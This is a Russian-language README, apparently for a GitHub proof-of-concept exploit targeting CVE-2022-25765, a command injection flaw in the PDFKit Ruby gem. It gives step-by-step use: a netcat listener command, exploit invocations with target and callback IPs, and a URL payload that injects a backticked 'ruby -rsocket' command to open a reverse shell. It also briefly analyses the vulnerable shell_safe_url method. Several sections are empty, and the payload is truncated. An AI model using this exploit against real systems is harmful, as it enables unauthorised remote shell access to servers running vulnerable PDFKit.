lowercasenumbers/cve-2022-25765Python PoC эксплойт для CVE-2022-25765, критическая инъекция команд в PDFKit. Генерирует обратную оболочку через несанитизированные параметры URL, передаваемые в wkhtmltopdf. Включает инструкции по использованию и технический анализ уязвимости.
Небольшой PoC-эксплойт для CVE-2022-25765, PDFkit-CMD-Injection
Запустите netcat-слушатель на вашей атакующей машине:
nc -lvnp 4444
Запустите эксплойт:
python cve-2022-25765.py -t http://TARGET_IP:PORT -l YOUR_IP -p YOUR_PORT
Пример:
python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444
Параметры:
-t, --target: Целевой URL с уязвимым PDFKit-l, --lhost: Ваш IP-адрес для подключения обратной оболочки-p, --lport: Ваш порт для подключения обратной оболочки (должен совпадать с портом вашего netcat-слушателя)CVE ID: CVE-2022-25765 CVSS v3.1 Score: 9.8 (Критический) EPSS Score: 71.381% (99-й процентиль) CWE: CWE-77 - Improper Neutralization of Special Elements used in a Command
PDFKit — это Ruby-гем, который преобразует HTML в PDF с помощью утилиты командной строки wkhtmltopdf. Уязвимость заключается в том, как PDFKit обрабатывает параметры URL перед передачей их системным командам оболочки для генерации PDF.
Уязвимость находится в lib/pdfkit/source.rb, где неправильно реализована очистка URL:
def shell_safe_url
url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end
Проблема:
Вектор атаки:
Данный PoC эксплуатирует уязвимость следующим образом:
http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'В целевой системе: